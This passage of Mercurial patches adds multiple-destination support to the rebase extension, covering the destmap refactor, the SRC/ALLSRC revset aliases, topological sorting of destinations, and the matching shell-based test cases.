             self.external = externalparent(self.repo, self.state, destancestors)
 
-        if dest.closesbranch() and not self.keepbranchesf:
-            self.ui.status(_('reopening closed branch head %s\n') % dest)
+        for destrev in sorted(set(destmap.values())):
+            dest = self.repo[destrev]
+            if dest.closesbranch() and not self.keepbranchesf:
+                self.ui.status(_('reopening closed branch head %s\n') % dest)
 
     def _performrebase(self, tr):
         repo, ui, opts = self.repo, self.ui, self.opts
@@ -371,6 +388,7 @@
         total = len(cands)
         pos = 0
         for rev in sortedrevs:
+            dest = self.destmap[rev]
             ctx = repo[rev]
             desc = _ctxdesc(ctx)
             if self.state[rev] == rev:
@@ -380,7 +398,8 @@
                 ui.status(_('rebasing %s\n') % desc)
                 ui.progress(_("rebasing"), pos, ("%d:%s" % (rev, ctx)),
                             _('changesets'), total)
-                p1, p2, base = defineparents(repo, rev, self.dest, self.state)
+                p1, p2, base = defineparents(repo, rev, self.destmap,
+                                             self.state)
                 self.storestatus(tr=tr)
                 storecollapsemsg(repo, self.collapsemsg)
                 if len(repo[None].parents()) == 2:
@@ -390,7 +409,7 @@
                         ui.setconfig('ui', 'forcemerge', opts.get('tool', ''),
                                      'rebase')
                         stats = rebasenode(repo, rev, p1, base, self.state,
-                                           self.collapsef, self.dest)
+                                           self.collapsef, dest)
                         if stats and stats[3] > 0:
                             raise error.InterventionRequired(
                                 _('unresolved conflicts (see hg '
@@ -436,8 +455,8 @@
     def _finishrebase(self):
         repo, ui, opts = self.repo, self.ui, self.opts
         if self.collapsef and not self.keepopen:
-            p1, p2, _base = defineparents(repo, min(self.state),
-                                          self.dest, self.state)
+            p1, p2, _base = defineparents(repo, min(self.state), self.destmap,
+                                          self.state)
             editopt = opts.get('edit')
             editform = 'rebase.collapse'
             if self.collapsemsg:
@@ -483,7 +502,7 @@
             collapsedas = None
             if self.collapsef:
                 collapsedas = newnode
-            clearrebased(ui, repo, self.dest, self.state, self.skipped,
+            clearrebased(ui, repo, self.destmap, self.state, self.skipped,
                          collapsedas)
 
         clearstatus(repo)
@@ -675,9 +694,9 @@
             if retcode is not None:
                 return retcode
         else:
-            dest, rebaseset = _definesets(ui, repo, destf, srcf, basef, revf,
-                                          destspace=destspace)
-            retcode = rbsrt._preparenewrebase(dest, rebaseset)
+            destmap = _definedestmap(ui, repo, destf, srcf, basef, revf,
+                                     destspace=destspace)
+            retcode = rbsrt._preparenewrebase(destmap)
             if retcode is not None:
                 return retcode
 
@@ -695,10 +714,9 @@
 
         rbsrt._finishrebase()
 
-def _definesets(ui, repo, destf=None, srcf=None, basef=None, revf=None,
-                destspace=None):
-    """use revisions argument to define destination and rebase set
-    """
+def _definedestmap(ui, repo, destf=None, srcf=None, basef=None, revf=None,
+                   destspace=None):
+    """use revisions argument to define destmap {srcrev: destrev}"""
     if revf is None:
         revf = []
 
@@ -725,12 +743,12 @@
         rebaseset = scmutil.revrange(repo, revf)
         if not rebaseset:
             ui.status(_('empty "rev" revision set - nothing to rebase\n'))
-            return None, None
+            return None
     elif srcf:
         src = scmutil.revrange(repo, [srcf])
         if not src:
             ui.status(_('empty "source" revision set - nothing to rebase\n'))
-            return None, None
+            return None
         rebaseset = repo.revs('(%ld)::', src)
         assert rebaseset
     else:
@@ -738,7 +756,7 @@
         if not base:
             ui.status(_('empty "base" revision set - '
                         "can't compute rebase set\n"))
-            return None, None
+            return None
         if not destf:
             dest = repo[_destrebase(repo, base, destspace=destspace)]
             destf = str(dest)
@@ -782,13 +800,17 @@
             else: # can it happen?
                 ui.status(_('nothing to rebase from %s to %s\n') %
                           ('+'.join(str(repo[r]) for r in base), dest))
-            return None, None
+            return None
 
     if not destf:
         dest = repo[_destrebase(repo, rebaseset, destspace=destspace)]
         destf = str(dest)
 
-    return dest, rebaseset
+    # assign dest to each rev in rebaseset
+    destrev = dest.rev()
+    destmap = {r: destrev for r in rebaseset} # {srcrev: destrev}
+
+    return destmap
 
 def externalparent(repo, state, destancestors):
     """Return the revision that should be used as the second parent
@@ -874,7 +896,7 @@
         copies.duplicatecopies(repo, rev, p1rev, skiprev=dest)
     return stats
 
-def adjustdest(repo, rev, dest, state):
+def adjustdest(repo, rev, destmap, state):
     """adjust rebase destination given the current rebase state
 
     rev is what is being rebased. Return a list of two revs, which are the
@@ -914,8 +936,9 @@
         |/          |/
         A           A
     """
-    # pick already rebased revs from state
-    source = [s for s, d in state.items() if d > 0]
+    # pick already rebased revs with same dest from state as interesting source
+    dest = destmap[rev]
+    source = [s for s, d in state.items() if d > 0 and destmap[s] == dest]
 
     result = []
     for prev in repo.changelog.parentrevs(rev):
@@ -957,7 +980,7 @@
         if s in nodemap:
             yield nodemap[s]
 
-def defineparents(repo, rev, dest, state):
+def defineparents(repo, rev, destmap, state):
     """Return new parents and optionally a merge base for rev being rebased
 
     The destination specified by "dest" cannot always be used directly because
@@ -981,9 +1004,10 @@
             return False
         return cl.isancestor(cl.node(a), cl.node(b))
 
+    dest = destmap[rev]
     oldps = repo.changelog.parentrevs(rev) # old parents
     newps = [nullrev, nullrev] # new parents
-    dests = adjustdest(repo, rev, dest, state) # adjusted destinations
+    dests = adjustdest(repo, rev, destmap, state) # adjusted destinations
     bases = list(oldps) # merge base candidates, initially just old parents
 
     if all(r == nullrev for r in oldps[1:]):
@@ -1238,7 +1262,7 @@
 
     return False
 
-def abort(repo, originalwd, dest, state, activebookmark=None):
+def abort(repo, originalwd, destmap, state, activebookmark=None):
     '''Restore the repository to its original state.  Additional args:
 
     activebookmark: the name of the bookmark that should be active after the
@@ -1248,7 +1272,7 @@
         # If the first commits in the rebased set get skipped during the rebase,
         # their values within the state mapping will be the dest rev id. The
         # dstates list must must not contain the dest rev (issue4896)
-        dstates = [s for s in state.values() if s >= 0 and s != dest]
+        dstates = [s for r, s in state.items() if s >= 0 and s != destmap[r]]
         immutable = [d for d in dstates if not repo[d].mutable()]
         cleanup = True
         if immutable:
@@ -1267,13 +1291,14 @@
 
         if cleanup:
             shouldupdate = False
-            rebased = filter(lambda x: x >= 0 and x != dest, state.values())
+            rebased = [s for r, s in state.items()
+                       if s >= 0 and s != destmap[r]]
             if rebased:
                 strippoints = [
                         c.node() for c in repo.set('roots(%ld)', rebased)]
 
             updateifonnodes = set(rebased)
-            updateifonnodes.add(dest)
+            updateifonnodes.update(destmap.values())
             updateifonnodes.add(originalwd)
             shouldupdate = repo['.'].rev() in updateifonnodes
 
@@ -1295,22 +1320,23 @@
         repo.ui.warn(_('rebase aborted\n'))
     return 0
 
-def buildstate(repo, dest, rebaseset, collapse, obsoletenotrebased):
+def buildstate(repo, destmap, collapse, obsoletenotrebased):
     '''Define which revisions are going to be rebased and where
 
     repo: repo
-    dest: context
-    rebaseset: set of rev
+    destmap: {srcrev: destrev}
     '''
+    rebaseset = destmap.keys()
     originalwd = repo['.'].rev()
     _setrebasesetvisibility(repo, set(rebaseset) | {originalwd})
 
     # This check isn't strictly necessary, since mq detects commits over an
     # applied patch. But it prevents messing up the working directory when
     # a partially completed rebase is blocked by mq.
-    if 'qtip' in repo.tags() and (dest.node() in
-                            [s.node for s in repo.mq.applied]):
-        raise error.Abort(_('cannot rebase onto an applied mq patch'))
+    if 'qtip' in repo.tags():
+        mqapplied = set(repo[s.node].rev() for s in repo.mq.applied)
+        if set(destmap.values()) & mqapplied:
+            raise error.Abort(_('cannot rebase onto an applied mq patch'))
 
     roots = list(repo.set('roots(%ld)', rebaseset))
     if not roots:
@@ -1319,6 +1345,7 @@
     state = dict.fromkeys(rebaseset, revtodo)
     emptyrebase = True
     for root in roots:
+        dest = repo[destmap[root.rev()]]
         commonbase = root.ancestor(dest)
         if commonbase == root:
             raise error.Abort(_('source is ancestor of destination'))
@@ -1352,6 +1379,7 @@
         if succ is None:
             msg = _('note: not rebasing %s, it has no successor\n') % desc
             del state[r]
+            del destmap[r]
         else:
             destctx = unfi[succ]
             destdesc = '%d:%s "%s"' % (destctx.rev(), destctx,
@@ -1359,10 +1387,11 @@
             msg = (_('note: not rebasing %s, already in destination as %s\n')
                    % (desc, destdesc))
             del state[r]
+            del destmap[r]
         repo.ui.status(msg)
-    return originalwd, dest.rev(), state
+    return originalwd, destmap, state
 
-def clearrebased(ui, repo, dest, state, skipped, collapsedas=None):
+def clearrebased(ui, repo, destmap, state, skipped, collapsedas=None):
     """dispose of rebased revision at the end of the rebase
 
     If `collapsedas` is not None, the rebase was a collapse whose result if the
@@ -1371,7 +1400,7 @@
     # Move bookmark of skipped nodes to destination. This cannot be handled
     # by scmutil.cleanupnodes since it will treat rev as removed (no successor)
     # and move bookmark backwards.
-    bmchanges = [(name, tonode(max(adjustdest(repo, rev, dest, state))))
+    bmchanges = [(name, tonode(max(adjustdest(repo, rev, destmap, state))))
                  for rev in skipped
                  for name in repo.nodebookmarks(tonode(rev))]
     if bmchanges:
@@ -1477,7 +1506,7 @@
     """returns a set of the obsolete revisions in revs"""
     return set(r for r in revs if repo[r].obsolete())
 
-def _computeobsoletenotrebased(repo, rebaseobsrevs, dest):
+def _computeobsoletenotrebased(repo, rebaseobsrevs, destmap):
     """return a mapping obsolete => successor for all obsolete nodes to be
     rebased that have a successors in the destination
 
@@ -1486,9 +1515,9 @@
 
     cl = repo.unfiltered().changelog
     nodemap = cl.nodemap
-    destnode = cl.node(dest)
     for srcrev in rebaseobsrevs:
         srcnode = cl.node(srcrev)
+        destnode = cl.node(destmap[srcrev])
         # XXX: more advanced APIs are required to handle split correctly
         successors = list(obsutil.allsuccessors(repo.obsstore, [srcnode]))
         if len(successors) == 1:
diff --git a/tests/test-rebase-legacy.t b/tests/test-rebase-legacy.t
new file mode 100644
--- /dev/null
+++ b/tests/test-rebase-legacy.t
@@ -0,0 +1,76 @@
+Test rebase --continue with rebasestate written by legacy client
+
+  $ cat >> $HGRCPATH <<EOF
+  > [extensions]
+  > rebase=
+  > drawdag=$TESTDIR/drawdag.py
+  > EOF
+
+  $ hg init
+  $ hg debugdrawdag <<'EOF'
+  >    D H
+  >    | |
+  >    C G
+  >    | |
+  >    B F
+  >    | |
+  >  Z A E
+  >   \|/
+  >    R
+  > EOF
+
+rebasestate generated by a legacy client running "hg rebase -r B+D+E+G+H -d Z"
+
+  $ touch .hg/last-message.txt
+  $ cat > .hg/rebasestate <<EOF
+  > 0000000000000000000000000000000000000000
+  > f424eb6a8c01c4a0c0fba9f863f79b3eb5b4b69f
+  > 0000000000000000000000000000000000000000
+  > 0
+  > 0
+  > 0
+  > 
+  > 21a6c45028857f500f56ae84fbf40689c429305b:-2
+  > de008c61a447fcfd93f808ef527d933a84048ce7:0000000000000000000000000000000000000000
+  > c1e6b162678d07d0b204e5c8267d51b4e03b633c:0000000000000000000000000000000000000000
+  > aeba276fcb7df8e10153a07ee728d5540693f5aa:-3
+  > bd5548558fcf354d37613005737a143871bf3723:-3
+  > d2fa1c02b2401b0e32867f26cce50818a4bd796a:0000000000000000000000000000000000000000
+  > 6f7a236de6852570cd54649ab62b1012bb78abc8:0000000000000000000000000000000000000000
+  > 6582e6951a9c48c236f746f186378e36f59f4928:0000000000000000000000000000000000000000
+  > EOF
+
+  $ hg rebase --continue
+  rebasing 4:c1e6b162678d "B" (B)
+  rebasing 8:6f7a236de685 "D" (D)
+  rebasing 2:de008c61a447 "E" (E)
+  rebasing 7:d2fa1c02b240 "G" (G)
+  rebasing 9:6582e6951a9c "H" (H tip)
+  warning: orphaned descendants detected, not stripping c1e6b162678d, de008c61a447
+  saved backup bundle to $TESTTMP/.hg/strip-backup/6f7a236de685-9880a3dc-rebase.hg (glob)
+
+  $ hg log -G -T '{rev}:{node|short} {desc}\n'
+  o  11:721b8da0a708 H
+  |
+  o  10:9d65695ec3c2 G
+  |
+  o  9:21c8397a5d68 E
+  |
+  | o  8:fc52970345e8 D
+  | |
+  | o  7:eac96551b107 B
+  |/
+  | o  6:bd5548558fcf C
+  | |
+  | | o  5:aeba276fcb7d F
+  | | |
+  | o |  4:c1e6b162678d B
+  | | |
+  o | |  3:f424eb6a8c01 Z
+  | | |
+  +---o  2:de008c61a447 E
+  | |
+  | o  1:21a6c4502885 A
+  |/
+  o  0:b41ce7760717 R
+  
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1504052857 25200
#      Tue Aug 29 17:27:37 2017 -0700
# Node ID 5e83a8fe6bc41e53c00db183bc2415114c5480e7
# Parent  af609bb3487f060c9a44aba6753275b1cbbbeaba
rebase: initial support for multiple destinations

This patch defines `SRC` (a single source revision) and `ALLSRC` (all source
revisions) to be valid names in  `--dest` revset if `--src` or `--rev` is
used. So destination could be defined differently according to source
revisions. The names are capitalized to make it clear they are "dynamically
defined", distinguishable from normal revsets (Thanks Augie for the
suggestion).

This is useful, for example, `-r 'orphan()' -d 'calc-dest(SRC)'` to solve
instability, which seems to be a highly wanted feature.

The feature is not completed, namely if `-d` overlaps with `-r`, things
could go wrong. A later patch will handle that case.

The feature is also gated by `experimental.rebase.multidest` config option
which is default off.

Differential Revision: https://phab.mercurial-scm.org/D469

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -46,6 +46,7 @@
     repair,
     repoview,
     revset,
+    revsetlang,
     scmutil,
     smartset,
     util,
@@ -736,8 +737,7 @@
         raise error.Abort(_('you must specify a destination'),
                           hint=_('use: hg rebase -d REV'))
 
-    if destf:
-        dest = scmutil.revsingle(repo, destf)
+    dest = None
 
     if revf:
         rebaseset = scmutil.revrange(repo, revf)
@@ -757,7 +757,10 @@
             ui.status(_('empty "base" revision set - '
                         "can't compute rebase set\n"))
             return None
-        if not destf:
+        if destf:
+            # --base does not support multiple destinations
+            dest = scmutil.revsingle(repo, destf)
+        else:
             dest = repo[_destrebase(repo, base, destspace=destspace)]
             destf = str(dest)
 
@@ -806,9 +809,40 @@
         dest = repo[_destrebase(repo, rebaseset, destspace=destspace)]
         destf = str(dest)
 
-    # assign dest to each rev in rebaseset
-    destrev = dest.rev()
-    destmap = {r: destrev for r in rebaseset} # {srcrev: destrev}
+    allsrc = revsetlang.formatspec('%ld', rebaseset)
+    alias = {'ALLSRC': allsrc}
+
+    if dest is None:
+        try:
+            # fast path: try to resolve dest without SRC alias
+            dest = scmutil.revsingle(repo, destf, localalias=alias)
+        except error.RepoLookupError:
+            if not ui.configbool('experimental', 'rebase.multidest'):
+                raise
+            # multi-dest path: resolve dest for each SRC separately
+            destmap = {}
+            for r in rebaseset:
+                alias['SRC'] = revsetlang.formatspec('%d', r)
+                # use repo.anyrevs instead of scmutil.revsingle because we
+                # don't want to abort if destset is empty.
+                destset = repo.anyrevs([destf], user=True, localalias=alias)
+                size = len(destset)
+                if size == 1:
+                    destmap[r] = destset.first()
+                elif size == 0:
+                    ui.note(_('skipping %s - empty destination\n') % repo[r])
+                else:
+                    raise error.Abort(_('rebase destination for %s is not '
+                                        'unique') % repo[r])
+
+    if dest is not None:
+        # single-dest case: assign dest to each rev in rebaseset
+        destrev = dest.rev()
+        destmap = {r: destrev for r in rebaseset} # {srcrev: destrev}
+
+    if not destmap:
+        ui.status(_('nothing to rebase - empty destination\n'))
+        return None
 
     return destmap
 
@@ -903,8 +937,8 @@
     adjusted destinations for rev's p1 and p2, respectively. If a parent is
     nullrev, return dest without adjustment for it.
 
-    For example, when doing rebase -r B+E -d F, rebase will first move B to B1,
-    and E's destination will be adjusted from F to B1.
+    For example, when doing rebasing B+E to F, C to G, rebase will first move B
+    to B1, and E's destination will be adjusted from F to B1.
 
         B1 <- written during rebasing B
         |
@@ -916,11 +950,11 @@
         | |
         | x <- skipped, ex. no successor or successor in (::dest)
         | |
-        | C
+        | C <- rebased as C', different destination
         | |
-        | B <- rebased as B1
-        |/
-        A
+        | B <- rebased as B1     C'
+        |/                       |
+        A                        G <- destination of C, different
 
     Another example about merge changeset, rebase -r C+G+H -d K, rebase will
     first move C to C1, G to G1, and when it's checking H, the adjusted
diff --git a/mercurial/configitems.py b/mercurial/configitems.py
--- a/mercurial/configitems.py
+++ b/mercurial/configitems.py
@@ -223,6 +223,9 @@
 coreconfigitem('experimental', 'obsmarkers-exchange-debug',
     default=False,
 )
+coreconfigitem('experimental', 'rebase.multidest',
+    default=False,
+)
 coreconfigitem('experimental', 'revertalternateinteractivemode',
     default=True,
 )
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
--- a/mercurial/scmutil.py
+++ b/mercurial/scmutil.py
@@ -402,11 +402,11 @@
         return wdirrev
     return rev
 
-def revsingle(repo, revspec, default='.'):
+def revsingle(repo, revspec, default='.', localalias=None):
     if not revspec and revspec != 0:
         return repo[default]
 
-    l = revrange(repo, [revspec])
+    l = revrange(repo, [revspec], localalias=localalias)
     if not l:
         raise error.Abort(_('empty revision set'))
     return repo[l.last()]
@@ -445,7 +445,7 @@
 
     return repo.lookup(first), repo.lookup(second)
 
-def revrange(repo, specs):
+def revrange(repo, specs, localalias=None):
     """Execute 1 to many revsets and return the union.
 
     This is the preferred mechanism for executing revsets using user-specified
@@ -471,7 +471,7 @@
         if isinstance(spec, int):
             spec = revsetlang.formatspec('rev(%d)', spec)
         allspecs.append(spec)
-    return repo.anyrevs(allspecs, user=True)
+    return repo.anyrevs(allspecs, user=True, localalias=localalias)
 
 def meaningfulparents(repo, ctx):
     """Return list of meaningful (or all if debug) parentrevs for rev.
diff --git a/tests/test-rebase-dest.t b/tests/test-rebase-dest.t
--- a/tests/test-rebase-dest.t
+++ b/tests/test-rebase-dest.t
@@ -76,3 +76,237 @@
   (use hg pull followed by hg rebase -d DEST)
   [255]
 
+Setup rebase with multiple destinations
+
+  $ cd $TESTTMP
+
+  $ cat >> $TESTTMP/maprevset.py <<EOF
+  > from __future__ import absolute_import
+  > from mercurial import registrar, revset, revsetlang, smartset
+  > revsetpredicate = registrar.revsetpredicate()
+  > cache = {}
+  > @revsetpredicate('map')
+  > def map(repo, subset, x):
+  >     """(set, mapping)"""
+  >     setarg, maparg = revsetlang.getargs(x, 2, 2, '')
+  >     rset = revset.getset(repo, smartset.fullreposet(repo), setarg)
+  >     mapstr = revsetlang.getstring(maparg, '')
+  >     map = dict(a.split(':') for a in mapstr.split(','))
+  >     rev = rset.first()
+  >     desc = repo[rev].description()
+  >     newdesc = map.get(desc)
+  >     if newdesc == 'null':
+  >         revs = [-1]
+  >     else:
+  >         query = revsetlang.formatspec('desc(%s)', newdesc)
+  >         revs = repo.revs(query)
+  >     return smartset.baseset(revs)
+  > EOF
+
+  $ cat >> $HGRCPATH <<EOF
+  > [ui]
+  > allowemptycommit=1
+  > [extensions]
+  > drawdag=$TESTDIR/drawdag.py
+  > [phases]
+  > publish=False
+  > [alias]
+  > tglog = log -G --template "{rev}: {desc} {instabilities}" -r 'sort(all(), topo)'
+  > [extensions]
+  > maprevset=$TESTTMP/maprevset.py
+  > [experimental]
+  > rebase.multidest=true
+  > stabilization=all
+  > EOF
+
+  $ rebasewithdag() {
+  >   N=`$PYTHON -c "print($N+1)"`
+  >   hg init repo$N && cd repo$N
+  >   hg debugdrawdag
+  >   hg rebase "$@" > _rebasetmp
+  >   r=$?
+  >   grep -v 'saved backup bundle' _rebasetmp
+  >   [ $r -eq 0 ] && rm -f .hg/localtags && hg tglog
+  >   cd ..
+  >   return $r
+  > }
+
+Destination resolves to an empty set:
+
+  $ rebasewithdag -s B -d 'SRC - SRC' <<'EOS'
+  > C
+  > |
+  > B
+  > |
+  > A
+  > EOS
+  nothing to rebase - empty destination
+  [1]
+
+Multiple destinations and --collapse are not compatible:
+
+  $ rebasewithdag -s C+E -d 'SRC^^' --collapse <<'EOS'
+  > C F
+  > | |
+  > B E
+  > | |
+  > A D
+  > EOS
+  abort: --collapse does not work with multiple destinations
+  [255]
+
+Multiple destinations cannot be used with --base:
+
+  $ rebasewithdag -b B+E -d 'SRC^^' --collapse <<'EOS'
+  > B E
+  > | |
+  > A D
+  > EOS
+  abort: unknown revision 'SRC'!
+  [255]
+
+Rebase to null should work:
+
+  $ rebasewithdag -r A+C+D -d 'null' <<'EOS'
+  > C D
+  > | |
+  > A B
+  > EOS
+  already rebased 0:426bada5c675 "A" (A)
+  already rebased 2:dc0947a82db8 "C" (C)
+  rebasing 3:004dc1679908 "D" (D tip)
+  o  4: D
+  
+  o  2: C
+  |
+  | o  1: B
+  |
+  o  0: A
+  
+Destination resolves to multiple changesets:
+
+  $ rebasewithdag -s B -d 'ALLSRC+SRC' <<'EOS'
+  > C
+  > |
+  > B
+  > |
+  > Z
+  > EOS
+  abort: rebase destination for f0a671a46792 is not unique
+  [255]
+
+Destination is an ancestor of source:
+
+  $ rebasewithdag -s B -d 'SRC' <<'EOS'
+  > C
+  > |
+  > B
+  > |
+  > Z
+  > EOS
+  abort: source is ancestor of destination
+  [255]
+
+Switch roots:
+
+  $ rebasewithdag -s 'all() - roots(all())' -d 'roots(all()) - ::SRC' <<'EOS'
+  > C  F
+  > |  |
+  > B  E
+  > |  |
+  > A  D
+  > EOS
+  rebasing 2:112478962961 "B" (B)
+  rebasing 4:26805aba1e60 "C" (C)
+  rebasing 3:cd488e83d208 "E" (E)
+  rebasing 5:0069ba24938a "F" (F tip)
+  o  9: F
+  |
+  o  8: E
+  |
+  | o  7: C
+  | |
+  | o  6: B
+  | |
+  | o  1: D
+  |
+  o  0: A
+  
+Different destinations for merge changesets with a same root:
+
+  $ rebasewithdag -s B -d '((parents(SRC)-B-A)::) - (::ALLSRC)' <<'EOS'
+  > C G
+  > |\|
+  > | F
+  > |
+  > B E
+  > |\|
+  > A D
+  > EOS
+  rebasing 3:a4256619d830 "B" (B)
+  rebasing 6:8e139e245220 "C" (C tip)
+  o    8: C
+  |\
+  | o    7: B
+  | |\
+  o | |  5: G
+  | | |
+  | | o  4: E
+  | | |
+  o | |  2: F
+   / /
+  | o  1: D
+  |
+  o  0: A
+  
+Move to a previous parent:
+
+  $ rebasewithdag -s E+F+G -d 'SRC^^' <<'EOS'
+  >     H
+  >     |
+  >   D G
+  >   |/
+  >   C F
+  >   |/
+  >   B E  # E will be ignored, since E^^ is empty
+  >   |/
+  >   A
+  > EOS
+  rebasing 4:33441538d4aa "F" (F)
+  rebasing 6:cf43ad9da869 "G" (G)
+  rebasing 7:eef94f3b5f03 "H" (H tip)
+  o  10: H
+  |
+  | o  5: D
+  |/
+  o  3: C
+  |
+  | o  9: G
+  |/
+  o  1: B
+  |
+  | o  8: F
+  |/
+  | o  2: E
+  |/
+  o  0: A
+  
+Source overlaps with destination (not handled well currently):
+
+  $ rebasewithdag -s 'B+C+D' -d 'map(SRC, "B:C,C:D")' <<'EOS'
+  > B C D
+  >  \|/
+  >   A
+  > EOS
+  rebasing 1:112478962961 "B" (B)
+  rebasing 2:dc0947a82db8 "C" (C)
+  o  5: C
+  |
+  o  3: D
+  |
+  | o  4: B orphan
+  | |
+  | x  2: C
+  |/
+  o  0: A
+  
# HG changeset patch
# User Jun Wu <quark@fb.com>
# Date 1503372127 25200
#      Mon Aug 21 20:22:07 2017 -0700
# Node ID 32528419db646040efe674232355dac6b80e27b0
# Parent  5e83a8fe6bc41e53c00db183bc2415114c5480e7
rebase: sort destmap topologically

Previously rebase source and destination could not overlap. But with the
multi-destination support, source and destination could reasonably partially
overlap. That requires another topological sort on `{sourcerev: destrev}`
graph (destmap). This patch implements that.

If a revision's destination is itself, the error message gets changed from
"source is ancestor of destination" to "source and destination form a
cycle". Not marking as BC since automation should depend on exit code, not
error message.

Differential Revision: https://phab.mercurial-scm.org/D470

diff --git a/hgext/rebase.py b/hgext/rebase.py
--- a/hgext/rebase.py
+++ b/hgext/rebase.py
@@ -361,7 +361,7 @@
                 self.ui.status(_('reopening closed branch head %s\n') % dest)
 
     def _performrebase(self, tr):
-        repo, ui, opts = self.repo, self.ui, self.opts
+        repo, ui = self.repo, self.ui
         if self.keepbranchesf:
             # insert _savebranch at the start of extrafns so if
             # there's a user-provided extrafn it can clobber branch if
@@ -384,10 +384,17 @@
         # if we fail before the transaction closes.
         self.storestatus()
 
-        sortedrevs = repo.revs('sort(%ld, -topo)', self.state)
         cands = [k for k, v in self.state.iteritems() if v == revtodo]
         total = len(cands)
         pos = 0
+        for subset in sortsource(self.destmap):
+            pos = self._performrebasesubset(tr, subset, pos, total)
+        ui.progress(_('rebasing'), None)
+        ui.note(_('rebase merging completed\n'))
+
+    def _performrebasesubset(self, tr, subset, pos, total):
+        repo, ui, opts = self.repo, self.ui, self.opts
+        sortedrevs = repo.revs('sort(%ld, -topo)', subset)
         for rev in sortedrevs:
             dest = self.destmap[rev]
             ctx = repo[rev]
@@ -449,9 +456,7 @@
             else:
                 ui.status(_('already rebased %s as %s\n') %
                           (desc, repo[self.state[rev]]))
-
-        ui.progress(_('rebasing'), None)
-        ui.note(_('rebase merging completed\n'))
+        return pos
 
     def _finishrebase(self):
         repo, ui, opts = self.repo, self.ui, self.opts
@@ -969,6 +974,18 @@
         | B         | ...
         |/          |/
         A           A
+
+    Besides, adjust dest according to existing rebase information. For example,
+
+      B C D    B needs to be rebased on top of C, C needs to be rebased on top
+       \|/     of D. We will rebase C first.
+        A
+
+          C'   After rebasing C, when considering B's destination, use C'
+          |    instead of the original C.
+      B   D
+       \ /
+        A
     """
     # pick already rebased revs with same dest from state as interesting source
     dest = destmap[rev]
@@ -981,6 +998,12 @@
             candidate = repo.revs('max(%ld and (::%d))', source, prev).first()
             if candidate is not None:
                 adjusted = state[candidate]
+        if adjusted == dest and dest in state:
+            adjusted = state[dest]
+            if adjusted == revtodo:
+                # sortsource should produce an order that makes this impossible
+                raise error.ProgrammingError(
+                    'rev %d should be rebased already at this time' % dest)
         result.append(adjusted)
     return result
 
@@ -1128,6 +1151,12 @@
                                 'moving at least one of its parents')
                               % (rev, repo[rev]))
 
+    # Source should not be ancestor of dest. The check here guarantees it's
+    # impossible. With multi-dest, the initial check does not cover complex
+    # cases since we don't have abstractions to dry-run rebase cheaply.
+    if any(p != nullrev and isancestor(rev, p) for p in newps):
+        raise error.Abort(_('source is ancestor of destination'))
+
     # "rebasenode" updates to new p1, use the corresponding merge base.
     if bases[0] != nullrev:
         base = bases[0]
@@ -1354,6 +1383,31 @@
         repo.ui.warn(_('rebase aborted\n'))
     return 0
 
+def sortsource(destmap):
+    """yield source revisions in an order that we only rebase things once
+
+    If source and destination overlaps, we should filter out revisions
+    depending on other revisions which hasn't been rebased yet.
+
+    Yield a sorted list of revisions each time.
+
+    For example, when rebasing A to B, B to C. This function yields [B], then
+    [A], indicating B needs to be rebased first.
+
+    Raise if there is a cycle so the rebase is impossible.
+    """
+    srcset = set(destmap)
+    while srcset:
+        srclist = sorted(srcset)
+        result = []
+        for r in srclist:
+            if destmap[r] not in srcset:
+                result.append(r)
+        if not result:
+            raise error.Abort(_('source and destination form a cycle'))
+        srcset -= set(result)
+        yield result
+
 def buildstate(repo, destmap, collapse, obsoletenotrebased):
     '''Define which revisions are going to be rebased and where
 
@@ -1372,12 +1426,21 @@
         if set(destmap.values()) & mqapplied:
             raise error.Abort(_('cannot rebase onto an applied mq patch'))
 
-    roots = list(repo.set('roots(%ld)', rebaseset))
+    # Get "cycle" error early by exhausting the generator.
+    sortedsrc = list(sortsource(destmap)) # a list of sorted revs
+    if not sortedsrc:
+        raise error.Abort(_('no matching revisions'))
+
+    # Only check the first batch of revisions to rebase not depending on other
+    # rebaseset. This means "source is ancestor of destination" for the second
+    # (and following) batches of revisions are not checked here. We rely on
+    # "defineparents" to do that check.
+    roots = list(repo.set('roots(%ld)', sortedsrc[0]))
     if not roots:
         raise error.Abort(_('no matching revisions'))
     roots.sort()
     state = dict.fromkeys(rebaseset, revtodo)
-    emptyrebase = True
+    emptyrebase = (len(sortedsrc) == 1)
     for root in roots:
         dest = repo[destmap[root.rev()]]
         commonbase = root.ancestor(dest)
diff --git a/tests/test-rebase-dest.t b/tests/test-rebase-dest.t
--- a/tests/test-rebase-dest.t
+++ b/tests/test-rebase-dest.t
@@ -204,7 +204,7 @@
   > |
   > Z
   > EOS
-  abort: source is ancestor of destination
+  abort: source and destination form a cycle
   [255]
 
 Switch roots:
@@ -291,22 +291,163 @@
   |/
   o  0: A
   
-Source overlaps with destination (not handled well currently):
+Source overlaps with destination:
 
   $ rebasewithdag -s 'B+C+D' -d 'map(SRC, "B:C,C:D")' <<'EOS'
   > B C D
   >  \|/
   >   A
   > EOS
+  rebasing 2:dc0947a82db8 "C" (C)
   rebasing 1:112478962961 "B" (B)
-  rebasing 2:dc0947a82db8 "C" (C)
-  o  5: C
+  o  5: B
+  |
+  o  4: C
+  |
+  o  3: D
+  |
+  o  0: A
+  
+Detect cycles early:
+
+  $ rebasewithdag -r 'all()-Z' -d 'map(SRC, "A:B,B:C,C:D,D:B")' <<'EOS'
+  > A B C
+  >  \|/
+  >   | D
+  >   |/
+  >   Z
+  > EOS
+  abort: source and destination form a cycle
+  [255]
+
+Detect source is ancestor of dest in runtime:
+
+  $ rebasewithdag -r 'C+B' -d 'map(SRC, "C:B,B:D")' -q <<'EOS'
+  >   D
+  >   |
+  > B C
+  >  \|
+  >   A
+  > EOS
+  abort: source is ancestor of destination
+  [255]
+
+"Already rebased" fast path still works:
+
+  $ rebasewithdag -r 'all()' -d 'SRC^' <<'EOS'
+  >   E F
+  >  /| |
+  > B C D
+  >  \|/
+  >   A
+  > EOS
+  already rebased 1:112478962961 "B" (B)
+  already rebased 2:dc0947a82db8 "C" (C)
+  already rebased 3:b18e25de2cf5 "D" (D)
+  already rebased 4:312782b8f06e "E" (E)
+  already rebased 5:ad6717a6a58e "F" (F tip)
+  o  5: F
   |
   o  3: D
   |
-  | o  4: B orphan
+  | o    4: E
+  | |\
+  +---o  2: C
   | |
-  | x  2: C
+  | o  1: B
   |/
   o  0: A
   
+Massively rewrite the DAG:
+
